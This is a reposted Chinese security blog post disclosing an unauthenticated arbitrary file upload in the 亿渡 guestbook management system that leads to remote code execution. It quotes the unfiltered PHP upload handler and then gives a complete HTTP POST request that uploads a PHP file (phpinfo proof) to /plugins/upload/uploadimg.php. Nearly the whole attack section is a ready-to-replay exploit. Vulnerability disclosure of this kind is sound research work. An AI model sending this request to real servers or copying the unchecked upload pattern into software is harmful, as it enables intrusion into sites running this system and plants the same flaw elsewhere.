亿渡留言管理系统 RCE

admin 2024年4月10日10:24:29评论30 views字数 1822阅读6分4秒阅读模式

0x01 前台任意文件上传

在 /plugins/upload/uploadimg.php 中存在文件上传操作,且无任何过滤,导致任意文件上传.

$file_info = $_FILES['file'];$file_error = $file_info['error'];if(!is_dir($dir))//判断目录是否存在{  mkdir ($dir,0777,true);//如果目录不存在则创建目录};$file = $dir.$_FILES["file"]["name"];if(!file_exists($file)){  if($file_error == 0){    if(move_uploaded_file($_FILES["file"]["tmp_name"],$uploadfile)){      $arr['msg'] ="上传成功";    }else{      $arr['msg'] = "上传失败";    }  }else{    switch($file_error){      case 1:      $arr['msg'] ='上传文件超过了PHP配置文件中upload_max_filesize选项的值';      break;      case 2:      $arr['msg'] ='超过了表单max_file_size限制的大小';      break;      case 3:      $arr['msg'] ='文件部分被上传';      break;      case 4:      $arr['msg'] ='没有选择上传文件';      break;      case 6:      $arr['msg'] ='没有找到临时文件';      break;      case 7:      case 8:      $arr['msg'] = '系统错误';      break;    }  }}

Payload:

POST /plugins/upload/uploadimg.php?fp=upimg HTTP/1.1Host: 127.0.0.1Content-Length: 197sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="101"Accept: application/json, text/javascript, */*; q=0.01Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypvPqblfrUine6bl3X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36sec-ch-ua-platform: "Windows"Origin: http://127.0.0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1/view/home/add.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: userid=1; PHPSESSID=ov8kb5g3n4gng3lfskbnpbch37; Hm_lvt_448f02fca78a892e6d9c5f1c599ff906=1711623626; Hm_lpvt_448f02fca78a892e6d9c5f1c599ff906=1711623626Connection: close------WebKitFormBoundarypvPqblfrUine6bl3Content-Disposition: form-data; name="file"; filename="a.php"Content-Type: image/jpeg<?php phpinfo();?>------WebKitFormBoundarypvPqblfrUine6bl3--

亿渡留言管理系统 RCE亿渡留言管理系统 RCE

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!

如果有师傅对审计有兴趣可以进群私信群主拿源码.

欢迎大家进星悦安全交流1群

亿渡留言管理系统 RCE

原文始发于微信公众号(星悦安全):亿渡留言管理系统 RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月10日10:24:29
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   亿渡留言管理系统 RCEhttps://cn-sec.com/archives/2642331.html

发表评论

匿名网友 填写信息